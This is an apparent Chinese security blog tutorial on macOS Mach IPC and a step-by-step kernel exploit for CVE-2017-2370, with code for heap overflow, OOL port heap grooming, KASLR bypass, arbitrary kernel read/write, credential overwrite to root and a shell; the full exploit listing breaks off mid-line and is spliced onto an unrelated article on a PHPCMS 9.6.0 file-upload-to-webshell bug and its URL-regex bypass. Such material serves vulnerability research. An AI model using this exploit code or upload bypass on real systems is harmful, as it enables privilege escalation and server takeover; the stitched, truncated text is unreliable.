[【技术分享】OS X内核大揭秘之基础篇](http://bobao.360.cn/learning/detail/4501.html) ****
**
**
**背景知识**
**OS X 中的进程间通信（IPC）**
由于 Mach 使用了客户端-服务器的系统架构，因此客户端可以通过请求服务器进行服务。在 macOS Mach 中，进程间通信通道的终端称为
port（端口），port 被授权可以使用该通道。以下是 Mach 提供的 IPC 类型。（但是，由于体系结构变化，在以前版本中可能无法使用的 macOS
的 IPOS）
消息队列/信号量/通知/锁定集/ RPC
**关于 Mach port**
**Mach Port：** 与 UNIX 的单向管道类似，是由内核管理的消息队列。有多个发送方和一个接收方。
**Port 权限：** task 信息是系统资源的集合，也可以说是资源的所有权。这些 task 允许您访问 Port（发送，接收，发送一次），称为
Port 权限。（也就是说，Port 权限是 Mach 的基本安全机制。）
**发送权限：** 不受限制地将数据插入到特定的消息队列中
**一次发送权限：** 将单个消息数据插入到特定的消息队列中
**接收权限：** 不受限制地从特定消息队列中提取数据
**Port 集：** 一组有权限的端口，在接收来自其某个成员的消息或事件时，可以将其视为单个单元。
**Port 集权限：** 从多个消息队列中排除特定的消息队列
**Port 命名空间：** 每个操作都与单一的端口命名空间相关联，只有当该操作具有端口命名空间的权限时, 才能对该端口进行操作。
**Dead-Name 权限：** 不做任何事
**函数功能描述**
**kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address,
mach_vm_size_t size, int flags)：**
在 target 的 *address 地址处分配 size 大小的空间
**kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address,
mach_vm_size_t size)：**
在 target 的 address 地址处释放 size 大小的空间
**task_t mach_task_self()：**
将发送权限返回给发送者的 task_self 端口
**kern_return_t mach_port_allocate (ipc_space_t task, mach_port_right_t right,
mach_port_name_t *name)：**
创建指定类型的端口
**kern_return_t mach_port_insert_right (ipc_space_t task, mach_port_name_t
name, mach_port_poly_t right, mach_msg_type_name_t right_type)：**
授予进程端口权限
**mach_msg_return_t mach_msg (mach_msg_header_t msg, mach_msg_option_t option,
mach_msg_size_t send_size, mach_msg_size_t receive_limit, mach_port_t
receive_name, mach_msg_timeout_t timeout, mach_port_t notify)：**
从端口发送或接收消息
**kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t
address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t
*outsize)：**
按 size 大小读取与给定的 target_task 相同区域中的数据
**kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address,
vm_offset_t data, mach_msg_type_number_t dataCnt)：**
写入与给定 target_task 相同区域中 address 处一样大的数据
**（1）堆溢出**
CVE-2017-2370 是在 macOS 10.12.2
及更早版本中的mach_voucher_extract_attr_recipe_trap（struct
mach_voucher_extract_attr_recipe_args * args）函数导致的堆溢出漏洞。
mach_voucher_extract_attr_recipe_args 的结构如下所示。
struct mach_voucher_extract_attr_recipe_args {
PAD_ARG_(mach_port_name_t, voucher_name);
PAD_ARG_(mach_voucher_attr_key_t, key);
PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
PAD_ARG_(user_addr_t, recipe_size);
};
/* osfmk/mach/mach_traps.h */
#define PAD_ARG_(arg_type, arg_name)
char arg_name ##_l_[PADL_(arg_type)];
arg_type arg_name;
char arg_name ##_r_[PADR_(arg_type)];
在调用 mach_voucher_extract_attr_recipe_trap() 传递参数时，可以任意操作
mach_voucher_extract_attr_recipe_args 结构体中的 mach_voucher_attr_raw_recipe_t
recipe 和 user_addr_t recipe_size 值。因此，该函数被复制到函数中由 void* kalloc(vm_size_t
size); 分配的内核堆区，并且由于该函数具有可操控的 args->recipe_size 而可能发生溢出。
特别地，由于可以操控 args->recipe，所以可以在溢出时创建任意数据。
Crash PoC 触发代码：
/* ---- FROM exp.m ---- */
uint64_t roundup(uint64_t val, uint64_t pagesize) {
val += pagesize - 1;
val &= ~(pagesize - 1);
return val;
}
void heap_overflow(uint64_t kalloc_size, uint64_t overflow_length, uint8_t* overflow_data, mach_port_t* voucher_port) {
int pagesize = getpagesize();
void* recipe_size = (void*)map(pagesize);
*(uint64_t*)recipe_size = kalloc_size;
uint64_t actual_copy_size = kalloc_size + overflow_length;
uint64_t alloc_size = roundup(actual_copy_size, pagesize) + pagesize;
uint64_t base = map(alloc_size); // unmap page
uint64_t end = base + roundup(actual_copy_size, pagesize);
mach_vm_deallocate(mach_task_self(), end, pagesize); // for copyin() stop
uint64_t start = end - actual_copy_size;
uint8_t* recipe = (uint8_t*)start;
memset(recipe, 0x41, kalloc_size); // set kalloc size
memcpy(recipe + kalloc_size, overflow_data, overflow_length); // set overflow bytes
kern_return_t err = mach_voucher_extract_attr_recipe_trap(voucher_port, 1, recipe, recipe_size); // Trigger
}
/* -------------------- */
--- mach_port_t* voucher_port = MACH_PORT_NULL;
mach_voucher_attr_recipe_data_t atm_data = {
.key = MACH_VOUCHER_ATTR_KEY_ATM,
.command = MACH_VOUCHER_ATTR_ATM_CREATE
};
kern_return_t err = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &voucher_port);
ipc_object* fake_port = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_port
void* fake_task = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_task
fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap
fake_port->io_lock_data[12] = 0x11;
printf("[+] Create Fake Port. Address : %llxn", (unsigned long long)fake_port);
heap_overflow(0x100, 0x8, (unsigned char *)&fake_port, voucher_port);
**
**
**（2）OOL Port 风水**
正如我之前在 OOL Port 系列博客中简要提到的，我使用 OOL Port 将数据放入内核堆并使用喷射和风水技术。这是因为 OOL Port
数据在内核中会保留到收到结束信号为止。
Port 风水的步骤简要说明如下：
**创建大量端口**
**消息生成（发送，接收）**
**创建一些用作地址的虚拟端口（MACH_PORT_DEAD）**
**发送消息**
**接收消息**
**重新发送消息**
当执行上述操作时，OS 在重复发送和接收的端口收集的地址周围分配数据。
使用的代码是：
struct ool_send_msg{
mach_msg_header_t msg_head;
mach_msg_body_t msg_body;
mach_msg_ool_ports_descriptor_t msg_ool_ports[16];
};
struct ool_recv_msg{
mach_msg_header_t msg_head;
mach_msg_body_t msg_body;
mach_msg_ool_ports_descriptor_t msg_ool_ports[16];
mach_msg_trailer_t msg_trailer;
};
struct ool_send_msg send_msg;
struct ool_recv_msg recv_msg;
mach_port_t* ool_port_fengshui(){
int current_port_num = 0;
mach_port_t* ool_ports;
ool_ports = calloc(PORT_COUNT, sizeof(mach_port_t));
// Part 1. Create OOL Ports
for(current_port_num = 0; current_port_num < PORT_COUNT; current_port_num++){ // Alloc 1024 Ports
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ool_ports[current_port_num]); // Alloc Port
mach_port_insert_right(mach_task_self(), ool_ports[current_port_num], ool_ports[current_port_num], MACH_MSG_TYPE_MAKE_SEND); // MACH_MSG_TYPE_MAKE_SEND Right Set.
}
// Part 2. Create Message Buffer (Spray)
mach_port_t* use_ports = calloc(1024, sizeof(mach_port_t));
for(int i = 0; i <= 1024; i++){
use_ports[i] = MACH_PORT_DEAD;
}
/* Set MSG HEADER */
send_msg.msg_head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
send_msg.msg_head.msgh_size = sizeof(struct ool_send_msg) - 16;
send_msg.msg_head.msgh_remote_port = MACH_PORT_NULL;
send_msg.msg_head.msgh_local_port = MACH_PORT_NULL; // NULL SEND
send_msg.msg_head.msgh_reserved = 0x00;
send_msg.msg_head.msgh_id = 0x00;
/* SET MSG BODY */
send_msg.msg_body.msgh_descriptor_count = 1;
/* SET MSG OOL PORT DESCRIPTOR */
for(int i = 0; i<=16; i++){ // appropriate ipc-send size
send_msg.msg_ool_ports[i].address = use_ports;
send_msg.msg_ool_ports[i].count = 32; // kalloc 0x100 (256)
send_msg.msg_ool_ports[i].deallocate = 0x00;
send_msg.msg_ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
send_msg.msg_ool_ports[i].disposition = MACH_MSG_TYPE_MAKE_SEND;
send_msg.msg_ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
}
// Part 3. Message Fengshui
/* SEND MSG */
for(current_port_num = 0; current_port_num < USE_PORT_START; current_port_num++){
send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(send_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui sendnError : %sn", mach_error_string(send_result));
exit(1);
}
}
for(current_port_num = USE_PORT_END; current_port_num < PORT_COUNT; current_port_num++){
send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(send_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui sendnError : %sn", mach_error_string(send_result));
exit(1);
}
}
for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num++){
send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(send_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui sendnError : %sn", mach_error_string(send_result));
exit(1);
}
}
/* RECV MSG */
for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num += 4){
recv_msg.msg_head.msgh_local_port = ool_ports[current_port_num];
kern_return_t recv_result = mach_msg(&recv_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_recv_msg), ool_ports[current_port_num], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(recv_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui recvnError : %sn", mach_error_string(recv_result));
exit(1);
}
}
/* RE-SEND MSG */
for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_HALF; current_port_num += 4){
send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(send_result != KERN_SUCCESS){
printf("[-] Error in OOL Fengshui re-sendnError : %sn", mach_error_string(send_result));
exit(1);
}
}
printf("[+] OOL Port Fengshui Successn");
return ool_ports;
}
声明要在 mach_msg() 中使用的消息结构（ool_send_msg, ool_recv_msg），以便继续执行上面列出的步骤。此时，为了将数据放在
kalloc.256 中，msg_ool_ports.count 被设置为 32。
上面的消息不应该太大或太小，它应该由大小合适的成员组成。在发送-接收-重传过程后，Port 风水准备完成，OS 已经准备好使用该区域。此时，溢出会覆盖
ipc_port，攻击者所覆盖数据的地址是已知的，并且可以随意操作数据以使攻击更容易。
**
**
**（3）查找操作数据**
重传的过程会导致端口周围发生溢出，我们必须找到该端口。引用对象是端口使用的描述符的地址成员（在前面的步骤中填充了伪造数据），我们需要验证端口是否已更改以及端口是否有效。
使用的代码如下：
mach_port_t* find_manipulation_port(mach_port_t* port_list){
for(int i = 0; i < USE_PORT_END; i++){
send_msg.msg_head.msgh_local_port = port_list[i];
kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_send_msg), port_list[i], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
for(int k = 0; k < send_msg.msg_body.msgh_descriptor_count; k++){ // traversing ool descriptors
mach_port_t* tmp_port = send_msg.msg_ool_ports[k].address;
if(tmp_port[0] != MACH_PORT_DEAD && tmp_port[0] != NULL){ // is Manipulated? (compare 8 bytes is enough. cuz of 8 bytes overflow)
printf("[+] Found manipulated port! %dth port : %dth descriptor => %llxn", i, k, tmp_port[0]);
return tmp_port[0];
}
}
}
printf("[-] Error in Find Manipulated Portn");
exit(1);
}
**
**
**（4）获取内核地址**
在 macOS 中, 内存保护技术使用 KASLR 随机化内核地址。因此，如果您有一个端口地址并且可以执行任意操作，则可以使用
clock_sleep_trap() 将 clock_list 动态加载到内核中。
使用的代码如下:
uint64_t get_clock_list_addr(uint64_t fake_port, mach_port_t* manipulated_port){
for(uint64_t guess_clock_addr = 0xffffff8000200000; guess_clock_addr < 0xffffff80F0200000; guess_clock_addr++){
*(uint64_t *)(fake_port + TASK_GAP_IN_IPC_OBJ) = guess_clock_addr; // Traverse address
*(uint64_t *)(fake_port + 0xa0) = 0xff;
if(clock_sleep_trap(manipulated_port, 0, 0, 0, 0) == KERN_SUCCESS){
printf("[+] found clock_list addr : %llxn", guess_clock_addr);
return (guess_clock_addr);
}
}
printf("[-] Find clock_list addr failed.n");
exit(1);
}
溢出的数据指向当前用户区域中创建的端口，该端口最初指向 ipc_object 的区域。 因此，你可以在内核文本地址中设置该结构的 task，然后调用
clock_sleep_strap()，如果成功，则指向时钟列表。
我们通过上述过程获得了时钟列表在内核中的地址，然后可以通过与内核头（0xfeedfacf）进行比较来获取内核地址。
使用的代码是：
uint64_t get_kernel_addr(uint64_t fake_port, void* fake_task, uint64_t clock_list_addr, mach_port_t* manipulated_port){
*(uint64_t*) (fake_port + TASK_GAP_IN_IPC_OBJ) = fake_task;
*(uint64_t*) (fake_port + 0xa0) = 0xff;
*(uint64_t*) (fake_task + 0x10) = 0x01;
clock_list_addr &= ~(0x3FFF);
for(uint64_t current_addr = clock_list_addr; current_addr > 0xffffff8000200000; current_addr-=0x4000) {
int32_t kernel_data = 0;
*(uint64_t*) (fake_task + TASK_INFO_GAP) = current_addr - 0x10;
pid_for_task(manipulated_port, &kernel_data);
if (kernel_data == 0xfeedfacf) {
printf("[+] Found kernel_text addr : %llxn", current_addr);
return current_addr;
}
}
}
由于内核地址在 0x40000 处对齐，所以需要删除时钟列表的低 14 位，然后再减去对齐的大小并进行比较。此时，我们使用 pid_for_task()
在用户级读取内核的内存。通常，因为你无法再用户模式下读取内核内存，所以一个技巧是，通过使用你拥有的端口来调用 pid_for_task() 来读取内核内存。
pid_for_task() 函数通过从原始 Mach 任务中获取 BSD 进程的 ID 作为参数，定义如下。[bsd/vm/vm_unix.c]
kern_return_t
pid_for_task(
struct pid_for_task_args *args)
{
mach_port_name_t t = args->t;
user_addr_t pid_addr = args->pid;
proc_t p;
task_t t1;
int pid = -1;
kern_return_t err = KERN_SUCCESS;
AUDIT_MACH_SYSCALL_ENTER(AUE_PIDFORTASK);
AUDIT_ARG(mach_port1, t);
t1 = port_name_to_task(t);
if (t1 == TASK_NULL) {
err = KERN_FAILURE;
goto pftout;
} else {
p = get_bsdtask_info(t1);
if (p) {
pid = proc_pid(p);
err = KERN_SUCCESS;
} else if (is_corpsetask(t1)) {
pid = task_pid(t1);
err = KERN_SUCCESS;
}else {
err = KERN_FAILURE;
}
}
task_deallocate(t1);
pftout:
AUDIT_ARG(pid, pid);
(void) copyout((char *) &pid, pid_addr, sizeof(int));
AUDIT_MACH_SYSCALL_EXIT(err);
return(err);
}
也就是说，可以使用 get_bsdtask_info(t1) 读取内核内存，并使用 proc_pid() 读取 PID 值。
**
**
**（5）查找当前进程和内核进程**
在 macOS 中，所有当前正在运行的进程的信息都存储在 _allproc 中。
extern struct proclist allproc; /* List of all processes. */
_allproc 将进程链接到链表结构中，并且可以通过 nm /mach_kernel|grep allproc 命令获取偏移量。
下面是 proc 的结构信息。[bsd/sys/proc_internal.h]
struct proc {
LIST_ENTRY(proc) p_list; /* List of all processes. */
pid_t p_pid; /* Process identifier. (static)*/
void * task; /* corresponding task (static)*/
struct proc * p_pptr; /* Pointer to parent process.(LL) */
pid_t p_ppid; /* process's parent pid number */
pid_t p_pgrpid; /* process group id of the process (LL)*/
uid_t p_uid;
gid_t p_gid;
uid_t p_ruid;
gid_t p_rgid;
uid_t p_svuid;
gid_t p_svgid;
uint64_t p_uniqueid; /* process unique ID - incremented on fork/spawn/vfork, remains same across exec. */
uint64_t p_puniqueid; /* parent's unique ID - set on fork/spawn/vfork, doesn't change if reparented. */
lck_mtx_t p_mlock; /* mutex lock for proc */
char p_stat; /* S* process status. (PL)*/
char p_shutdownstate;
char p_kdebug; /* P_KDEBUG eq (CC)*/
char p_btrace; /* P_BTRACE eq (CC)*/
LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */
LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/
LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/
TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */
LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/
TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */
#if CONFIG_PERSONAS
struct persona *p_persona;
LIST_ENTRY(proc) p_persona_list;
#endif
lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */
lck_mtx_t p_ucred_mlock; /* mutex lock to protect p_ucred */
/* substructures: */
kauth_cred_t p_ucred; /* Process owner's identity. (PUCL) */
struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */
struct pstats *p_stats; /* Accounting/statistics (PL). */
struct plimit *p_limit; /* Process limits.(PL) */
struct sigacts *p_sigacts; /* Signal actions, state (PL) */
int p_siglist; /* signals captured back from threads */
lck_spin_t p_slock; /* spin lock for itimer/profil protection */
...
你可以实际追踪一下像 pid_for_task() （获取PID）这样的进程，并找到具有所需 PID 的进程。
使用的代码如下：
uint64_t get_proc_addr(uint64_t pid, uint64_t kernel_addr, void* fake_task, mach_port_t* manipulated_port){
uint64_t allproc_real_addr = 0xffffff8000ABB490 - 0xffffff8000200000 + kernel_addr;
uint64_t pCurrent = allproc_real_addr;
uint64_t pNext = pCurrent;
while (pCurrent != NULL) {
int nPID = 0;
*(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent;
pid_for_task(manipulated_port, (int32_t*)&nPID);
if (nPID == pid) {
return pCurrent;
}
else{
*(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x10;
pid_for_task(manipulated_port, (int32_t*)&pNext);
*(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x0C;
pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&pNext)) + 4));
pCurrent = pNext;
}
}
}
**
**
**（6）获取内核权限（AAR/AAW）**
为了提升权限，内核进程必须获取的信息是端口特权和内核 task。
使用的代码如下：
dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){
dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));
data->dump_port = malloc(0x1000);
data->dump_task = malloc(0x1000);
uint64_t kern_task = 0;
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;
pid_for_task(manipulated_port, (int32_t*)&kern_task);
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;
pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));
uint64_t itk_kern_sself = 0;
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;
pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;
pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
data->dump_itk_kern_sself = itk_kern_sself;
for (int i = 0; i < 256; i++) {
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;
pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));
}
for (int i = 0; i < 256; i++) {
*(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;
pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));
}
return data;
}
在上一个过程中，因为已经获得了内核进程的地址，你可以轻松地获取内核
task。接下来，我们需要在任务结构中获取端口特权信息（itk_kern_sself）以获取端口权限，任务结构如下。[osfmk/kern/task.h]
struct task {
/* Synchronization/destruction information */
decl_lck_mtx_data(,lock) /* Task's lock */
uint32_t ref_count; /* Number of references to me */
boolean_t active; /* Task has not been terminated */
boolean_t halting; /* Task is being halted */
/* Miscellaneous */
vm_map_t map; /* Address space description */
queue_chain_t tasks; /* global list of tasks */
void *user_data; /* Arbitrary data settable via IPC */
#if defined(CONFIG_SCHED_MULTIQ)
sched_group_t sched_group;
#endif /* defined(CONFIG_SCHED_MULTIQ) */
/* Threads in this task */
queue_head_t threads;
processor_set_t pset_hint;
struct affinity_space *affinity_space;
int thread_count;
uint32_t active_thread_count;
int suspend_count; /* Internal scheduling only */
/* User-visible scheduling information */
integer_t user_stop_count; /* outstanding stops */
integer_t legacy_stop_count; /* outstanding legacy stops */
integer_t priority; /* base priority for threads */
integer_t max_priority; /* maximum priority for threads */
integer_t importance; /* priority offset (BSD 'nice' value) */
/* Task security and audit tokens */
security_token_t sec_token;
audit_token_t audit_token;
/* Statistics */
uint64_t total_user_time; /* terminated threads only */
uint64_t total_system_time;
/* Virtual timers */
uint32_t vtimers;
/* IPC structures */
decl_lck_mtx_data(,itk_lock_data)
struct ipc_port *itk_self; /* not a right, doesn't hold ref */
struct ipc_port *itk_nself; /* not a right, doesn't hold ref */
struct ipc_port *itk_sself; /* a send right */
struct exception_action exc_actions[EXC_TYPES_COUNT];
/* a send right each valid element */
struct ipc_port *itk_host; /* a send right */
struct ipc_port *itk_bootstrap; /* a send right */
struct ipc_port *itk_seatbelt; /* a send right */
struct ipc_port *itk_gssd; /* yet another send right */
struct ipc_port *itk_debug_control; /* send right for debugmode commu
nications */
struct ipc_port *itk_task_access; /* and another send right */
struct ipc_port *itk_resume; /* a receive right to resume this task */
struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];
/* all send rights */
struct ipc_space *itk_space;
...
这允许我们可以通过将内核的的 task 地址和端口特权地址复制到用户区域来间接地使用内核权限。也就是说，由于操作的端口指向 fake_port，并且
fake_port 具有内核端口权限，因此可以通过 task_get_special_port() 在任意端口上启用内核端口权限。
**
**
**（7）权限提升（user - > root）**
现在，我们已经获得了内核权限，可以通过 mach_vm_read_overwrite() 和 mach_vm_write() 启用
AAR/AAW。如上一篇博客所述，更改 UCRED 结构的 CR_RUID 会改变进程的权限。proc 结构包含了 typedef struct ucred
*kauth_cred_t; 定义的 kauth_cred_tp_ucred;。
ucred 结构如下，你可以修改 cr_ruid。
/*
* In-kernel credential structure.
*
* Note that this structure should not be used outside the kernel, nor should
* it or copies of it be exported outside.
*/
struct ucred {
TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
u_long cr_ref; /* reference count */
struct posix_cred {
/*
* The credential hash depends on everything from this point on
* (see kauth_cred_get_hashkey)
*/
uid_t cr_uid; /* effective user id */
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
short cr_ngroups; /* number of groups in advisory list */
gid_t cr_groups[NGROUPS]; /* advisory group list */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved group id */
uid_t cr_gmuid; /* UID for group membership purposes */
int cr_flags; /* flags on credential */
} cr_posix;
struct label *cr_label; /* MAC label */
/*
* NOTE: If anything else (besides the flags)
* added after the label, you must change
* kauth_cred_find().
*/
struct au_session cr_audit; /* user auditing data */
};
写入数据以获取 root 权限的代码如下：
uint64_t cred;
mach_vm_size_t read_bytes = 8;
mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel
vm_offset_t root_uid = 0;
mach_msg_type_number_t write_bytes = 8;
mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid, (mach_msg_type_number_t)write_bytes); // AAW in Kernel
system("/bin/bash"); // Get Shell
于是当前进程就成为了具有 root 权限（cr_ruid=0）的进程。
**
**
**漏洞利用代码（在 OS X 10.12.1 上通过测试）**
代码如下： ****
#define PORT_COUNT 1024
#define USE_PORT_START 384
#define USE_PORT_HALF 512
#define USE_PORT_END 640
#define IO_BITS_ACTIVE 0x80000000
#define IKOT_CLOCK 25
#define IKOT_TASK 2
#define lck_spin_t char
#define TASK_GAP_IN_PROC 24
#define CR_RUID_GAP_IN_UCRED 24
#define TASK_GAP_IN_IPC_OBJ 104
#define ITK_KERN_SSELF_GAP_IN_TASK 232
#define UCRED_GAP_IN_PROCESS 232
#define TASK_INFO_GAP 896
#import <stdio.h>
#import <stdlib.h>
#import <mach/mach.h>
#import <atm/atm_types.h>
#import <sys/mman.h>
/* FROM osfmk/ipc/ipc_object.h -*/
typedef natural_t ipc_object_bits_t;
typedef natural_t ipc_object_refs_t;
typedef struct _ipc_object{
ipc_object_bits_t io_bits;
ipc_object_refs_t io_references;
lck_spin_t io_lock_data[1024];
}ipc_object;
/* ----------------------------*/
typedef struct _dumpdata{
char* dump_port;
char* dump_task;
uint64_t dump_itk_kern_sself;
}dumpdata;
struct ool_send_msg{
mach_msg_header_t msg_head;
mach_msg_body_t msg_body;
mach_msg_ool_ports_descriptor_t msg_ool_ports[16];
};
struct ool_recv_msg{
mach_msg_header_t msg_head;
mach_msg_body_t msg_body;
mach_msg_ool_ports_descriptor_t msg_ool_ports[16];
mach_msg_trailer_t msg_trailer;
};
struct ool_send_msg send_msg;
struct ool_recv_msg recv_msg;
mach_port_t* ool_port_fengshui(){
int current_port_num = 0;
mach_port_t* ool_ports;
ool_ports = calloc(PORT_COUNT, sizeof(mach_port_t));
// Part 1. Create OOL Ports
for(current_port_num = 0; current_port_num < PORT_COUNT; current_port_num++){ // Alloc 1024 Ports
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ool_ports[current_port_num]); // Alloc Port
mach_port_insert_right(mach_task_self(), ool_ports[current_port_num], ool_ports[current_port_num], MACH_MSG_TYPE_MAKE_SEND); // MACH_MSG_TYPE_MAKE_SEND Right Set.
}
// Part 2. Create Message Buffer (Spray)
mach_port_t* use_ports = calloc(1024, sizeof(mach_port_t));
for(int i = 0; i <= 1024; i++){
use_ports[i] = MACH_PORT_DEAD;
}
/* Set MSG HEADER */
send_msg.msg_head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
send_msg.msg_head.msgh_size = sizeof(struct ool_send_msg) - 16;
send_msg.msg_head.msgh_remote_port = MACH_PORT_NULL;
send_msg.msg_head.msgh_local_port = MACH_PORT_NULL; // NULL SEND
send_msg.msg_head.msgh_reserved = 0x00;
send_msg.msg_head.msgh_id = 0x00;
/* SET MSG BODY */
send_msg.msg_body.msgh_descriptor_count = 1;
/* SET MSG OOL PORT DESCRIPTOR */
for(int i = 0; i<=16; i++){ // appropriate ipc-send size
send_msg.msg_ool_ports[i].address& | 社区文章 |
本篇详细分析了 **PHPCMS**
的部分历史漏洞。其中多是以获取到漏洞点为场景，反向挖掘至漏洞触发入口（假设自己发现了漏洞点，模拟如何找寻整个攻击链及其入口点），旨在提高自身代码审计能力。当中包含一些网络上未公开的触发点，以及补丁对比分析与绕过。
## v9.6.0任意文件上传
这个漏洞存在于用户注册处。这里有一个可控变量 **$_POST['info']** 传入了 **member_input** 类的 **get**
方法中，跟进该方法。(下图对应文件位置：phpcms/modules/member/index.php)
在 **get** 方法中，我们发现 **$data** 变量来自 **$_POST['info']** ，并且我们可以调用
**member_input** 类的所有方法（对应下图 **第47-48行**
代码）。(下图对应文件位置：caches/caches_model/caches_data/member_input.class.php)
看了一下 **member_input** 类的所有方法，只有一个 **editor** 方法比较好利用，而本次漏洞正是利用到这个方法。在这个方法中，调用了
**attachment** 类的 **download**
方法。(下图对应文件位置：caches/caches_model/caches_data/member_input.class.php)
在 **download** 方法中，程序先使用正则对图片 **URL** 进行匹配，其中 **$ext** 只允许为
**gif|jpg|jpeg|bmp|png** ，而我们使用 **<http://xxxx/1.php?a.jpg>** 或者
**<http://xxxx/1.php#a.jpg>**
即可绕过正则。(下图对应文件位置：phpcms/libs/classes/attachment.class.php)
接着又使用 **fillurl** 方法对匹配到的远程图片地址进行处理，其实就是将 **#** 号之后的字符全部去除，例如
**<http://xxxx/1.php#a.jpg>** 会被处理成 **<http://xxxx/1.php>**
。(下图对应文件位置：phpcms/libs/classes/attachment.class.php)
**fillurl** 方法处理后，又回到了 **download** 方法。程序直接调用 **copy** 函数将远程文件复制到本地（对应下图
**161** 行代码），远程文件名可预测，后缀名为上边处理后的 **URL** 文件名后缀，即 **php** ，最终导致 **getshell**
。其中 **webshell** 地址为
**<http://website/uploadfile/date('Y/md/')/date('Ymdhis').rand(100>,
999).'.'.$fileext** 。(下图对应文件位置：phpcms/libs/classes/attachment.class.php)
最后我们再来看一下在官方发布的 **PHPCMS v9.6.1** 中是如何修复这个漏洞的，代码具体如下。可以明确看到，在官方补丁中，对
**fileext($file)** 获取到的文件后缀进行了黑名单校验。虽然暂时不能直接上传 **shell** ，但是还是可以上传图片马。如果
